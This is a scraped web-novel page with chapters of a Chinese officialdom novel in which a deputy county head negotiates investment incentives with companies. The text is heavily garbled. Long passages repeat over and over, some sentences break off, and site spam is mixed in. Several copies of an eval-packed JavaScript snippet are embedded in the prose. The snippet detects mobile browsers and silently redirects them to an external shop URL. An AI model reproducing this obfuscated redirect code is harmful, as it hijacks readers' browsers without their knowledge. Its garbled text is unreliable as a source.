是在他的帮助下,**才留住了管委会党工委**的职位。 他的帮助是为了全县人民,是无私奉献,但他希望得到一句奉承,来满足他的虚荣心。 “我和林县长一定会尽最大努力。” 石文海的付出,李承并不知情。 李承一直认为,那一票是崔学文投的,所以,也并没有给到石文海想听的答案。 得出手的风景。 李承每晚跑步的时间,与石文海每天带孙女遛弯的时间重合。 跑完三公里,两人手牵着手,在中心广场上散步。 沿江广场属于风林县人民茶余饭后的栖息地,广场舞,摆摊,还有一群老大爷围在一起看下象棋的,热闹非凡。 “李叔叔好。” 溜达到一处象棋摊时,一个奶声奶气的声音,喊住了李承。 李承低头看去,看到是石文海的小孙女:“是小美女呀。” 李承不知道小姑娘的名字,便称呼她为小美女。 听到孙女的声音,石文海也从观棋中回过头,看向李承:“小李,又出来夜跑?” “嗯,刚跑完。” 李承微笑点头,对许梦介绍:“这位是石老**。” “老**您好。”许梦冲他礼貌点头。 “你爱人?”石文海对许梦回以微笑,问李承。 “还没结婚,未婚妻。”李承说。 听到‘未婚妻’三个字,许梦心里很是满足,这个称谓与‘女朋友’相比,完全是两种心理地位。 “郎才女貌,呵呵等你们结婚,记得请我喝一杯喜酒。”石文海笑呵呵的道。 “一定。” “听说小林县长回到了管委会工作,有你们两个人主持产业园区,风林百姓的好日子,指日可待。”石文海道。 是在他的帮助下,**才留住了管委会党工委**的职位。 他的帮助是为了全县人民,是无私奉献,但他希望得到一句奉承,来满足他的虚荣心。 “我和林县长一定会尽最大努力。” 石文海的付出,李承并不知情。 李承一直认为,那一票是崔学文投的,所以,也并没有给到石文海想听的答案。 得出手的风景。 李承每晚跑步的时间,与石文海每天带孙女遛弯的时间重合。 跑完三公里,两人手牵着手,在中心广场上散步。 沿江广场属于风林县人民茶余饭后的栖息地,广场舞,摆摊,还有一群老大爷围在一起看下象棋的,热闹非凡。 “李叔叔好。” 溜达到一处象棋摊时,一个奶声奶气的声音,喊住了李承。 李承低头看去,看到是石文海的小孙女:“是小美女呀。” 李承不知道小姑娘的名字,便称呼她为小美女。 听到孙女的声音,石文海也从观棋中回过头,看向李承:“小李,又出来夜跑?” “嗯,刚跑完。” 李承微笑点头,对许梦介绍:“这位是石老**。” “老**您好。”许梦冲他礼貌点头。 “你爱人?”石文海对许梦回以微笑,问李承。 “还没结婚,未婚妻。”李承说。 听到‘未婚妻’三个字,许梦心里很是满足,这个称谓与‘女朋友’相比,完全是两种心理地位。 “郎才女貌,呵呵等你们结婚,记得请我喝一杯喜酒。”石文海笑呵呵的道。 “一定。” “听说小林县长回到了管委会工作,有你们两个人主持产业园区,风林百姓的好日子,指日可待。”石文海道。 是在他的帮助下,**才留住了管委会党工委**的职位。 他的帮助是为了全县人民,是无私奉献,但他希望得到一句奉承,来满足他的虚荣心。 “我和林县长一定会尽最大努力。” 石文海的付出,李承并不知情。 李承一直认为,那一票是崔学文投的,所以,也并没有给到石文海想听的答案。 得出手的风景。 李承每晚跑步的时间,与石文海每天带孙女遛弯的时间重合。 跑完三公里,两人手牵着手,在中心广场上散步。 沿江广场属于风林县人民茶余饭后的栖息地,广场舞,摆摊,还有一群老大爷围在一起看下象棋的,热闹非凡。 “李叔叔好。” 溜达到一处象棋摊时,一个奶声奶气的声音,喊住了李承。 李承低头看去,看到是石文海的小孙女:“是小美女呀。” 李承不知道小姑娘的名字,便称呼她为小美女。 听到孙女的声音,石文海也从观棋中回过头,看向李承:“小李,又出来夜跑?” “嗯,刚跑完。” 李承微笑点头,对许梦介绍:“这位是石老**。” “老**您好。”许梦冲他礼貌点头。 “你爱人?”石文海对许梦回以微笑,问李承。 “还没结婚,未婚妻。”李承说。 听到‘未婚妻’三个字,许梦心里很是满足,这个称谓与‘女朋友’相比,完全是两种心理地位。 “郎才女貌,呵呵等你们结婚,记得请我喝一杯喜酒。”石文海笑呵呵的道。 “一定。” “听说小林县长回到了管委会工作,有你们两个人主持产业园区,风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329761|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林百姓的好日子,指日可待。”石文海道。 是在他的帮助下,**才留住了管委会党工委**的职位。 他的帮助是为了全县人民,是无私奉献,但他希望得到一句奉承,来满足他的虚荣心。 “我和林县长一定会尽最大努力。” 石文海的付出,李承并不知情。 李承一直认为,那一票是崔学文投的,所以,也并没有给到石文海想听的答案。 得出手的风景。 李承每晚跑步的时间,与石文海每天带孙女遛弯的时间重合。 跑完三公里,两人手牵着手,在中心广场上散步。 沿江广场属于风林县人民茶余饭后的栖息地,广场舞,摆摊,还有一群老大爷围在一起看下象棋的,热闹非凡。 “李叔叔好。” 溜达到一处象棋摊时,一个奶声奶气的声音,喊住了李承。 李承低头看去,看到是石文海的小孙女:“是小美女呀。” 李承不知道小姑娘的名字,便称呼她为小美女。 听到孙女的声音,石文海也从观棋中回过头,看向李承:“小李,又出来夜跑?” “嗯,刚跑完。” 李承微笑点头,对许梦介绍:“这位是石老**。” “老**您好。”许梦冲他礼貌点头。 “你爱人?”石文海对许梦回以微笑,问李承。 “还没结婚,未婚妻。”李承说。 听到‘未婚妻’三个字,许梦心里很是满足,这个称谓与‘女朋友’相比,完全是两种心理地位。 “郎才女貌,呵呵等你们结婚,记得请我喝一杯喜酒。”石文海笑呵呵的道。 “一定。” “听说小林县长回到了管委会工作,有你们两个人主持产业园区,风林百姓的好日子,指日可待。”石文海道。 是在他的帮助下,**才留住了管委会党工委**的职位。 他的帮助是为了全县人民,是无私奉献,但他希望得到一句奉承,来满足他的虚荣心。 “我和林县长一定会尽最大努力。” 石文海的付出,李承并不知情。 李承一直认为,那一票是崔学文投的,所以,也并没有给到石文海想听的答案。 得出手的风景。 李承每晚跑步的时间,与石文海每天带孙女遛弯的时间重合。 跑完三公里,两人手牵着手,在中心广场上散步。 沿江广场属于风林县人民茶余饭后的栖息地,广场舞,摆摊,还有一群老大爷围在一起看下象棋的,热闹非凡。 “李叔叔好。” 溜达到一处象棋摊时,一个奶声奶气的声音,喊住了李承。 李承低头看去,看到是石文海的小孙女:“是小美女呀。” 李承不知道小姑娘的名字,便称呼她为小美女。 听到孙女的声音,石文海也从观棋中回过头,看向李承:“小李,又出来夜跑?” “嗯,刚跑完。” 李承微笑点头,对许梦介绍:“这位是石老**。” “老**您好。”许梦冲他礼貌点头。 “你爱人?”石文海对许梦回以微笑,问李承。 “还没结婚,未婚妻。”李承说。 听到‘未婚妻’三个字,许梦心里很是满足,这个称谓与‘女朋友’相比,完全是两种心理地位。 “郎才女貌,呵呵等你们结婚,记得请我喝一杯喜酒。”石文海笑呵呵的道。 “一定。” “听说小林县长回到了管委会工作,有你们两个人主持产业园区,风林百姓的好日子,指日可待。”石文海道。 是在他的帮助下,**才留住了管委会党工委**的职位。 他的帮助是为了全县人民,是无私奉献,但他希望得到一句奉承,来满足他的虚荣心。 “我和林县长一定会尽最大努力。” 石文海的付出,李承并不知情。 李承一直认为,那一票是崔学文投的,所以,也并没有给到石文海想听的答案。 得出手的风景。 李承每晚跑步的时间,与石文海每天带孙女遛弯的时间重合。 跑完三公里,两人手牵着手,在中心广场上散步。 沿江广场属于风林县人民茶余饭后的栖息地,广场舞,摆摊,还有一群老大爷围在一起看下象棋的,热闹非凡。 “李叔叔好。” 溜达到一处象棋摊时,一个奶声奶气的声音,喊住了李承。 李承低头看去,看到是石文海的小孙女:“是小美女呀。” 李承不知道小姑娘的名字,便称呼她为小美女。 听到孙女的声音,石文海也从观棋中回过头,看向李承:“小李,又出来夜跑?” “嗯,刚跑完。” 李承微笑点头,对许梦介绍:“这位是石老**。” “老**您好。”许梦冲他礼貌点头。 “你爱人?”石文海对许梦回以微笑,问李承。 “还没结婚,未婚妻。”李承说。 听到‘未婚妻’三个字,许梦心里很是满足,这个称谓与‘女朋友’相比,完全是两种心理地位。 “郎才女貌,呵呵等你们结婚,记得请我喝一杯喜酒。”石文海笑呵呵的道。 “一定。” “听说小林县长回到了管委会工作,有你们两个人主持产业园区,风林百姓的好日子,指日可待。”石文海道。 是在他的帮助下,**才留住了管委会党工委**的职位。 他的帮助是为了全县人民,是无私奉献,但他希望得到一句奉承,来满足他的虚荣心。 “我和林县长一定会尽最大努力。” 石文海的付出,李承并不知情。 李承一直认为,那一票是崔学文投的,所以,也并没有给到石文海想听的答案。 第355章 跑招商 周二,早。 李承到达主任办公室门口时,戚瑶抱着资料,已经等候在这里。 “李县长,早上好。” “这么早呀。” 李承拿出钥匙,打开门。 作为联络员,戚瑶有李承办公室的钥匙,但她没有贸然进入,而是提前等候在门口,也没有玩手机打发时间。 这种工作态度,让李承很满意。 “不算早,我是提前十分钟过来的。” 戚瑶跟在李承身后,走进办公室,待到李承坐下后,她站在李承侧边,将资料放在李承的办公桌上。 并单独拿出一个小本,放在资料的一旁:“李县长,您看一下,这个本子上,是我记录的不规范情况。” “嗯。” 李承按照小本上的内容,开始比对起文件。 戚瑶标注的很详细,哪一份文件,哪一页,出现哪一种问题,她都清楚表明。 排版很工整,让人一眼就能找到问题所在。 对比后,李承满意的点了点头,问:“内容和各个部门的签字情况,怎么样?” “除了这些不规范,其余没问题,就差您签字。”戚瑶说。 文件的不规范,可以成为李承挑毛病,要求对方整改的理由。 也可以睁一只眼闭一只眼,这不算什么大问题,不会有什么影响。 若不是赵兵得罪了李承,外加刘家村修路没有解决,李承周五就会签字。 “这一部分,打回县政府办,让他们整改。” 李承指着本子上记录的前三条,对戚瑶吩咐。 “好的。” 戚瑶点头,迟疑了一秒,问:“剩下的,不需要改吗?” “剩下的,等下次再整改。” 李承也没隐瞒,直言道。 “好。” 戚瑶刚参加工作,不懂李承为什么要这么安排,但还是乖乖照做。 作为联络员,服从领导安排是第一位。 次日。 李承和林青带领着风林县的招商团队,赶往南陵市。 他们作为外省的招商团队,去苏原省招商,行事要格外低调。 毕竟,这属于‘挖墙脚,抢企业’的行为。 在出发之前,就已经做好了工作部署。 这次来的目的,主要是为了争取三家企业。 华宇合金新材料,动联绿能,以及北方重型装备。 在来之前,林青已经给三家企业去过电话,约定好 听说看这本书的人都是很幸运的,分享后你的运气会更棒 了具体时间。 北方重型装备约在了下午其余两家在上午谈李承和林青分开谈。 按照时间约定李承等人抵达华宇合金新材料有限公司。 “你好我们是风林县管委会的跟你们吴总约定好了时间。” 汽车停在大门口戚瑶率先下车与保安进行交涉。 在做完登记后道阀抬杆汽车驶入公司厂区。 到达办公楼李承等人下车后一个亭亭玉立穿着西装的女人微笑迈步而来。 “李主任您好我是吴总的秘书王笛刚刚我们通过电话。” 女人没有见过李承她是通过所有人下车的位置来分辨。 只有领导才会坐右侧后排。 “你好。” 李承握了握女人主动伸出来的手 “应该做的领导。” 王笛微笑她喊李承为领导从称谓上拉近了距离:“您们这边请。” 在王笛的带路下李承等人乘坐电梯抵达会议室。 “领导您先在会议室休息一下我们吴总在见市领导暂时还走不开。”王笛说。 “嗯理解。” 约定的时间已经到了但对方临时有事见的又是当地市领导李承不能挑理。 李承代表的虽是县政府可他们是招商方。 招商就跟推销一样为了当地的经济发展就要厚着脸皮把姿态放低。 等了不到二十分钟门外传来脚步声。 一个西装革履梳着侧背头的男人率先走了进来在他身后除王笛之外还有两个男人。 “吴总这位就是风林县管委会的李主任。”王笛向吴总介绍起李承的身份。 与此同时李承站起身主动迎上吴总伸出手:“吴总您好我是风林县的副县长我叫李承。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333669|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 管委会主任的身份王笛已经向对方介绍过。 所以李承要强调一下他副县长的身份一是表明自己在县里的领导层地位。 二也是告诉对方自己这位副县长亲自过来谈招商是诚意。 “李县长您好。” 吴总跟李承握了下手做出请的手势:“坐。” 两方代表分别坐在了会议桌的对面。 “刚才王市长过来找我耽搁了些时间。” 吴总既是向李承解释迟到原因也是为接下来的话做铺垫:“他想 你的朋友正在书荒,快去帮帮他吧 让我们华宇搬到横河镇产业园区,也开出了不错的条件。 二十年免地租,五年地方税返九成,还有额外的建厂补贴政策,像我们厂的规模,补贴政策就能拿到二百万。” 南陵市为了留住企业,也是想尽了办法,这属于赔本行为。 南陵开出的条件,的确是风林县无法给予的。 风林县是为了脱贫,需要企业创造税收。 虽说,脱贫攻坚是一个漫长的过程,不急于一时,可风林县财政能力,根本无法达到横河镇的条件。 省里没有建厂补贴政策,风林县不同于南陵市的财大气粗,别说二百万,就是二十万也拿不起。 因为,这不止是一家企业的补贴问题,开了这个先例,以后的企业都要贴。 除此之外,地方税反九成,风林县也给不到这个标准。 产业园区运转的费用不是一笔小数目,如果反九成,产业园区五年内的收入可能是负数。 会让本就贫困的县城,雪上加霜。 总之,风林县太穷了,可以少赚,但搞不起赔本的生意。 “吴总,我们风林县是贫困县,这个政策,给不到。 你是我们的意向客户,也去县里实地调查过,商议过,之前陈县长还想政策加码,这一点您也是知道的。 能顺利将原有政策落实,也是我到任风林后,才争取下来。” 李承先明确了政策标准和态度。 若是吴总执意向跟风林县要横河县的政策,那么,这场商议也就没必要,差距太大。 第356章 计算数据 李承的目光一直盯着吴总,看对方并没有准备否定,他继续说:“风林县最大的优势,是地理位置。 交通是所有企业发展的前提,横河镇地处偏僻,交通闭塞,如果贵公司落厂在那里,对于企业未来空间,会有很大的限制。 横河镇产业园区是风林县的竞品。 对这位‘竞争对手’,李承虽还没有实地考察过。 却也做过深度了解和分析,横河镇跟风林县,天差地别。 陈红旗不是傻子,他敢跟这些企业漫天要价,就是因为横河镇的地理位置太差。 他知道,企业落户那里,发展会有阻碍,这才有恃无恐。 “李县长,地理位置上,横河镇远不如你们县,这一点我不否认,不然,我也不会考虑你们风林县。 但是,这里面差了十年的地租和两年的税收减免,而且,比例也差了两成。 算下来,不是一个小数目。 吴总轻轻摇了摇头,李承这番话,并没有给他很大的决策影响。 “吴总,我作为风林县的领导,当然希望贵公司入驻风林县,但这不能作为损害企业利益的理由。 企业,应该选择更划算,更有利于企业发展的地区。 如果横河镇对企业发展有利,我支持,也祝愿。 李承态度真诚,说完后,目光看向身旁的戚瑶,低声说:“计算器。 企业落户是大事,不能靠坑蒙拐骗的方式,要用最直接的利益。 而且,能做到上亿规模的企业,也不是傻子。 他们内部高层,也会经过几番讨论,才能做决策。 “吴总,我给您算一笔账。 李承接过戚瑶递来的计算器和纸笔,习惯性的按了一下归零键。 审计局出身的李承,最习惯用数据讲话。 把数据列举出来,哪里更合适,一目了然。 如果差距甚远,李承也会识趣。 “我了解过贵公司的纳税情况,以及近五年的企业增速,平均增速在百分之七,去年纳税总额是九百六十万 李承边说,边用计算器计算,动作飞快:“按照这个增速,接下来三年的平均纳税总额在一千零二十九万。 增值税,地方三百三十四万,企业所得税地方一百零三万,附加税等地方一百零三万,总计五百四十万。 增值税,地方和中央五五分,企业所得税四六分,附加税,印花税等,全部归地方所有。 “前三年平均 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 风林县可以给贵公司共减免一千一百三十万左右的税,横河镇可以减免一千四百五十八万。 其中差距是三百二十八万。” 李承拿起笔,将这个数字记录下来。 因为政策不同,风林县只减免三年七成地方税,而横河镇是五年九成。 “剩下两年,风林县不减免,横河镇还能给企业减免一千万左右的税,算上二百万的补偿。 目前,横河镇能给到的政策优惠,比风林县多出一千三百余万。 地租差距十年,你们企业续租有优惠政策,这个不算在这里,就按照目前无优惠的算,风林县的地租是每年一亩地七千,你们企业占地在二十亩左右,就是一年十四万,十年差了一百四十万。 所有的政策差距全部算上,贵公司落户横河镇,要比风林县节省一千五百万左右。” 其实这个数字,李承在脑袋里过一遍,就有数了。 但他必须要用数据说话,列举得清清楚楚,这样,在场所有人才能更直观的看到。 “吴总,贵公司的情况,您比我更了解。 我在来之前,大致也算了一下,以贵公司的情况,单单是一个运输费用上,风林县的地理位置每年要比横河镇起码节省二百万。 华宇这么大规模的企业,为了五年节约下来的一千五百万,而需要额外付出很多潜在费用,您觉得划算吗?” 李承将计算器调转,朝向吴总等人:“我站在您的立场上考虑,是觉得不划算。” 闻言,吴总沉默了。 哪边更划算,他心里很清楚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333670|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不然的话,他就跟横河镇签约了,也不会一直拖着。 沉默了片刻,吴总的嘴角微微上扬,露出一个欣赏的笑容:“李县长,我其实早就见过你。” 吴总直接岔开话题,这倒是让李承有些意外。 “是吗?我不太有印象。” 李承的记忆力还不错,一般见过的企业家,他都会有印象。 但对于眼前的吴总,很陌生,没有半点熟悉的感觉。 “你当然没印象了,我是手机上看到的,呵呵呵.” 吴总玩笑了一句,继续说:“你们东江的问政节目很出彩,敢于公开城市的腐败现况,这是很多政府没有的勇气。 尤其是李县长敢怒敢言,对于台下领导毫不留情的批评,让我印象深刻。 李县长,您是一个好干部。” 话说到这里,吴总顿了一下:“如果风林县所有的干部,都像您一样,风林的产业园区怕是要被踏破门槛。” 兜兜转转一圈,吴总最终要表达的意思。 是对风林县领导层的不信任,因为陈红旗给这些企业的印象太恶劣。 没有企业愿意跟陈红旗领导下的县政府合作。 这也是为何风林县一直门庭冷清的原因。 一些企业见识过陈红旗的丑恶嘴脸,也将消息传递给了其他观望中的企业,大家都不敢去。 “吴总,您的担忧我了解,组织派我下来,就是为了解决企业的顾虑,您应该放心。” 李承会心一笑,说。 吴总看过《东江问政》,自然清楚李承的政治背景,在省部级的背景下,陈红旗一个县处级干部,能翻起什么浪花? “您会高升的。” 吴总清楚,李承在风林县的每一天,他们企业可以得到保障。 但李承的工作会变动,他们的企业却挪不走了。 “吴总,我都高升了,风林县作为我的‘发家地’,我会希望它不好吗?” 李承意味深长的看着吴总,嘴角挂着淡淡微笑。 四目相对,两个人在这一刻,达成了一种共识! 第357章 代表作 任何天花乱坠的保证,任何未来的憧憬,都是虚幻的。 说给微小企业和个体户听,他们或许会信,但说给吴总这种人听,没用。 就算李承说,他能肃清风林县领导班子,在吴总听来,也是废话一句。 可刚刚那句很露骨的话,却直击吴总内心。 那不是保证,而是一种利益共识。 很多领导高升后,还会格外关注曾经亲手抓的工程,哪怕这个工程已经濒临死亡,一些领导还会强行为它续命。 这其中,就涉及到官场逻辑,政绩与风险等问题。 简单点说,这就叫:人走了,政绩不能丢!位子升了,根不能断! 这是政治自留地,是代表作。 哪怕日后李承离开了风林县,风林县产业园区也将成为伴随他一生仕途的名片。 产业园区蒸蒸日上,这是李承的金字招牌,日后人事提拔上的重墨之笔。 产业园区如果倒闭了,李承作为园区的‘建立者’,拍板决定的事情太多,也可能会有被‘秋后算账’的风险。 所以,即便李承离开了风林县,他也不会对风林产业园区的发展不管不顾。 “李县长,那我们具体商议一下细节,我也跟董事会做个汇报。”吴总给出了答复。 “好。” 企业签约入驻,对两方都是大事。 需要非常细致的商议。 基本调子李承和吴总已经定下了,接下来,就是各个部门的对接。 自然资源能给多少土地指标,财政的税务返还多久兑现等等 一切商议妥当,已经接近中午十二点。 “李县长,辛苦你们特意跑一趟,我已经订好了饭店,中午一起用餐。”吴总邀请道。 “不麻烦了,下午还要跑企业。”李承婉拒了吴总的邀请。 “工作再忙总要吃饭的嘛。”吴总继续邀请。 若是日后他们企业入驻风林县,与李承打交道的机会很多,关系需要拉近。 “我们等下随便吃一口就行,以后我们还有机会。”李承再次婉拒。 吴总宴请,规格一定简单不了。 他们这次出来是跑招商,不是大吃大喝,形象要维护。 “这样,您不嫌弃的话,我们去食堂吃,正好参观一下公司环境。”吴总说。 “那就给吴总添麻烦了。” 在吴总的引领下,李承等人在公司食堂吃了一口便饭。 他们的食堂标准,不如恺奥 医疗的食堂丰盛。 毕竟,恺奥医疗的食堂,是给科研团队准备的,非常注重。 但口味很不错,要比李承平时吃的盒饭强不少。 “李县长,还有一件事,是董事会最担心的。” 吃饭的过程中,吴总想起了一件事,面露担忧。 “你说。” “我们听说,你们园区引进了一家电镀企业,是吧?”吴总问。 “是。” 李承没有隐瞒,电镀是重污染,高风险,其他企业入驻前,担忧被它牵连,也很正常。 “像这种企业,不是应该进入专业的园区吗?”吴总问。 吴总说的没错。 电镀企业,通常都会进入专业的电镀园区。 但恒达这种工艺落后,设备老旧,还在用氰电镀的企业,进不去专业电镀园区。 毕竟,电镀园区也不是垃圾场,不是什么企业都收。 “吴总,我会帮您选一块远离他们的地址。” 恒达涉及到了政治内部问题,李承不方便对他讲。 只能给予一个特殊照顾。 他们关心的,无非是恒达出现问题,会不会波及到他们企业,只要解决好这一点就行。 “嗯,那就辛苦您了。”吴总微微点头。 而这一番交谈,也更加坚定了李承铲除恒达的决心。 绝不能让一颗老鼠屎,坏了一锅的好粥! 下午两点半。 李承与林青在北方重型装备有限公司的正门口汇合。 北方重型装备,比起前两家的规模要大,市值三十亿,是南陵市的纳税大户。 接待李承和林青的,是总裁秘书。 “林书记,李主任,金总正在开董事会,您们稍作休息。”总裁秘书微笑说。 “好。” 林青点头,答应。 跑招商就是这样,低头请别人去,就要等对方的时间。 总裁秘书离开不久,一名接待人员给李承等人送上茶水,也退出了休息室。 “李主任,华宇合金那边谈得怎么样?” 林青喝了一大口茶,刚才在动联绿能,她是差点把嘴皮子都磨烂了,嗓子劝哑了。 “还算顺利,具体还要看董事会决策。”李承说。 他对华宇合金的招商,有很大的信心。 但项目落地前,还是要保守一些。 “你那边呢?” 在李承的询问下,林青叹了一口气:“意向度有 ,不高,横河镇给的政策力度太大的,我们县比不了。” “是呀。” “华宇的吴总,没拿横河镇的政策,跟你讨价还价吗?”林青好奇的问。 “说了,算完帐后,总体入驻到横河,对他们来说不划算。” 李承端起水杯,抿了一口:“总体优惠比我们高一千万左右,但他们的运输成本,每年就要高出二百万。 我觉得,他们会想清楚。” “嗯,是这样。” 林青思索片刻,再次看向李承的目光里,带着些许赞赏。 横河镇的新政策,在来之前,他们都不知情。 也打了他们一个措手不及。 林青跟动联绿能交谈时,一直是在劝说,在聊风林县的利好,并没有去计算具体数据。 在听完李承的方式后,她有了一个新思路。 相比于林青的赞赏,一旁的戚瑶,在看向李承的目光里,却是满眼的崇拜。 李承计算数据,和谈判时的认真模样,深深的刻在了她的脑海里。 工作中的男人,往往是最有魅力的。 绝大部分女性都有慕强心里,李承所展现的魅力,吸引住了戚瑶。 “你觉得,北方重型装备好谈吗?”林青问。 “嗯” 闻言,李承沉吟了片刻,最后摇了摇头:“难。” 他在路上,一直在看北方重型装备的资料,也打电话咨询过,他觉得,希望很小. ,不高,横河镇给的政策力度太大的,我们县比不了。” “是呀。” “华宇的吴总,没拿横河镇的政策,跟你讨价还价吗?”林青好奇的问。 “说了,算完帐后,总体入驻到横河,对他们来说不划算。” 李承端起水杯,抿了一口:“总体优惠比我们高一千万左右,但他们的运输成本,每年就要高出二百万。 我觉得,他们会想清楚。” “嗯,是这样。” 林青思索片刻,再次看向李承的目光里,带着些许赞赏。 横河镇的新政策,在来之前,他们都不知情。 也打了他们一个措手不及。 林青跟动联绿能交谈时,一直是在劝说,在聊风林县的利好,并没有去计算具体数据。 在听完李承的方式后,她有了一个新思路。 相比于林青的赞赏,一旁的戚瑶,在看向李承的目光里,却是满眼的崇拜。 李承计算数据,和谈判时的认真模样,深深的刻在了她的脑海里。 工作中的男人,往往是最有魅力的。 绝大部分女性都有慕强心里,李承所展现的魅力,吸引住了戚瑶。 “你觉得,北方重型装备好谈吗?”林青问。 “嗯” 闻言,李承沉吟了片刻,最后摇了摇头:“难。” 他在路上,一直在看北方重型装备的资料,也打电话咨询过,他觉得,希望很小. ,不高,横河镇给的政策力度太大的,我们县比不了。” “是呀。” “华宇的吴总,没拿横河镇的政策,跟你讨价还价吗?”林青好奇的问。 “说了,算完帐后,总体入驻到横河,对他们来说不划算。” 李承端起水杯,抿了一口:“总体优惠比我们高一千万左右,但他们的运输成本,每年就要高出二百万。 我觉得,他们会想清楚。” “嗯,是这样。” 林青思索片刻,再次看向李承的目光里,带着些许赞赏。 横河镇的新政策,在来之前,他们都不知情。 也打了他们一个措手不及。 林青跟动联绿能交谈时,一直是在劝说,在聊风林县的利好,并没有去计算具体数据。 在听完李承的方式后,她有了一个新思路。 相比于林青的赞赏,一旁的戚瑶,在看向李承的目光里,却是满眼的崇拜。 李承计算数据,和谈判时的认真模样,深深的刻在了她的脑海里。 工作中的男人,往往是最有魅力的。 绝大部分女性都有慕强心里,李承所展现的魅力,吸引住了戚瑶。 “你觉得,北方重型装备好谈吗?”林青问。 “嗯” 闻言,李承沉吟了片刻,最后摇了摇头:“难。” 他在路上,一直在看北方重型装备的资料,也打电话咨询过,他觉得,希望很小. ,不高,横河镇给的政策力度太大的,我们县比不了。” “是呀。” “华宇的吴总,没拿横河镇的政策,跟你讨价还价吗?”林青好奇的问。 “说了,算完帐后,总体入驻到横河,对他们来说不划算。” 李承端起水杯,抿了一口:“总体优惠比我们高一千万左右,但他们的运输成本,每年就要高出二百万。 我觉得,他们会想清楚。” “嗯,是这样。” 林青思索片刻,再次看向李承的目光里,带着些许赞赏。 横河镇的新政策,在来之前,他们都不知情。 也打了他们一个措手不及。 林青跟动联绿能交谈时,一直是在劝说,在聊风林县的利好,并没有去计算具体数据。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333671|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在听完李承的方式后,她有了一个新思路。 相比于林青的赞赏,一旁的戚瑶,在看向李承的目光里,却是满眼的崇拜。 李承计算数据,和谈判时的认真模样,深深的刻在了她的脑海里。 工作中的男人,往往是最有魅力的。 绝大部分女性都有慕强心里,李承所展现的魅力,吸引住了戚瑶。 “你觉得,北方重型装备好谈吗?”林青问。 “嗯” 闻言,李承沉吟了片刻,最后摇了摇头:“难。” 他在路上,一直在看北方重型装备的资料,也打电话咨询过,他觉得,希望很小. ,不高,横河镇给的政策力度太大的,我们县比不了。” “是呀。” “华宇的吴总,没拿横河镇的政策,跟你讨价还价吗?”林青好奇的问。 “说了,算完帐后,总体入驻到横河,对他们来说不划算。” 李承端起水杯,抿了一口:“总体优惠比我们高一千万左右,但他们的运输成本,每年就要高出二百万。 我觉得,他们会想清楚。” “嗯,是这样。” 林青思索片刻,再次看向李承的目光里,带着些许赞赏。 横河镇的新政策,在来之前,他们都不知情。 也打了他们一个措手不及。 林青跟动联绿能交谈时,一直是在劝说,在聊风林县的利好,并没有去计算具体数据。 在听完李承的方式后,她有了一个新思路。 相比于林青的赞赏,一旁的戚瑶,在看向李承的目光里,却是满眼的崇拜。 李承计算数据,和谈判时的认真模样,深深的刻在了她的脑海里。 工作中的男人,往往是最有魅力的。 绝大部分女性都有慕强心里,李承所展现的魅力,吸引住了戚瑶。 “你觉得,北方重型装备好谈吗?”林青问。 “嗯” 闻言,李承沉吟了片刻,最后摇了摇头:“难。” 他在路上,一直在看北方重型装备的资料,也打电话咨询过,他觉得,希望很小. ,不高,横河镇给的政策力度太大的,我们县比不了。” “是呀。” “华宇的吴总,没拿横河镇的政策,跟你讨价还价吗?”林青好奇的问。 “说了,算完帐后,总体入驻到横河,对他们来说不划算。” 李承端起水杯,抿了一口:“总体优惠比我们高一千万左右,但他们的运输成本,每年就要高出二百万。 我觉得,他们会想清楚。” “嗯,是这样。” 林青思索片刻,再次看向李承的目光里,带着些许赞赏。 横河镇的新政策,在来之前,他们都不知情。 也打了他们一个措手不及。 林青跟动联绿能交谈时,一直是在劝说,在聊风林县的利好,并没有去计算具体数据。 在听完李承的方式后,她有了一个新思路。 相比于林青的赞赏,一旁的戚瑶,在看向李承的目光里,却是满眼的崇拜。 李承计算数据,和谈判时的认真模样,深深的刻在了她的脑海里。 工作中的男人,往往是最有魅力的。 绝大部分女性都有慕强心里,李承所展现的魅力,吸引住了戚瑶。 